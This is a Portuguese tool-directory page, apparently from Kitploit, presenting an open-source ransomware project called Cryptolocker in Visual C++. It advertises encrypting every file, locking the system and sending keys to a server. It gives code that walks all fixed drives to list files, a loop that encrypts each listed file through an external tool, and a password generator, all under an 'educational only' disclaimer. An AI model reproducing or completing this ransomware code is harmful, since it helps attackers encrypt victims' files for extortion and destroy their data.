Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Cryptolocker — CryptoLocker é um criptografador de arquivos de código aberto. O Crypto é desenvolvido em Visual C++. Ele possui recursos para criptografar todos os arquivos, bloquear o sistema e enviar as chaves de volta ao servidor. A funcionalidade multithread ajuda a tornar esta ferramenta de criptografia mais rápida. | Kitploit
Ferramentas/GitHubGitHub/ajayrandhawa/cryptolocker
Ferramentas de Criptografia/DescriptografiaAnálise de MalwareAprendizado e Educação
GitHubajayrandhawa/cryptolocker

Cryptolocker

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

CryptoLocker é um criptografador de arquivos de código aberto. O Crypto é desenvolvido em Visual C++. Ele possui recursos para criptografar todos os arquivos, bloquear o sistema e enviar as chaves de volta ao servidor. A funcionalidade multithread ajuda a tornar esta ferramenta de criptografia mais rápida.

Compartilhar
1435564há 1 mêsRevisado pelo Kitploit

AVISO: NOSSAS FERRAMENTAS SÃO APENAS PARA FINS EDUCACIONAIS. NÃO AS UTILIZE PARA ATIVIDADES ILEGAIS. VOCÊ É O ÚNICO RESPONSÁVEL POR SUAS AÇÕES! NOSSAS FERRAMENTAS SÃO DE CÓDIGO ABERTO, SEM GARANTIA E NO ESTADO EM QUE SE ENCONTRAM.

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

Crypto é um Crypto-Locker de código aberto. O Crypto é desenvolvido em Visual C++. Possui funcionalidades para criptografar todos os arquivos, bloquear o sistema e enviar as chaves de volta ao servidor. A funcionalidade multithread ajuda esta ferramenta a tornar a criptografia mais rápida.

Usando um poderoso algoritmo de criptografia de 256 bits, uma vez que um arquivo é criptografado, ele fica completamente inútil sem a senha. Simplesmente não pode ser lido.

Funcionalidades

  1. Criptografia AES forte. (Inexpugnável)
  2. Funcionalidade de bloqueio do sistema.
  3. Criptografia Multi-Thread.
  4. Interface de administração web poderosa.

Passo 1 (Obter arquivos)

Obtendo todos os arquivos de todas as unidades para criptografá-los.

Aqui está o programa em Visual C++ que obtém a lista de todos os diretórios e arquivos na unidade e armazena o caminho em um arquivo de texto para uso posterior na criptografia. Eu uso as bibliotecas Boost C++ para obter a lista de todos os arquivos. Por favor, configure primeiro as bibliotecas Boost para compilar o programa.

root@kitploit:~
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

Passo 2 (Criptografar arquivos)

Aqui, primeiramente, obtenho cada caminho de arquivo do "data.txt" linha por linha e envio para esta ferramenta de criptografia com o tipo de criptografia e senha. Você também pode incorporar todo este programa no loop superior para obter o caminho e criptografar dados recursivamente.

root@kitploit:~
out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Passo 3 (Criar função de senha longa e complexa)

Envie o comprimento para a função e ela retorna uma senha longa e complexa gerada que você pode usar para criptografia.

root@kitploit:~
string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

Atualmente em Desenvolvimento....

Feliz Segurança Cibernética.....Feliz Código Aberto.......

:)

Baixar ferramenta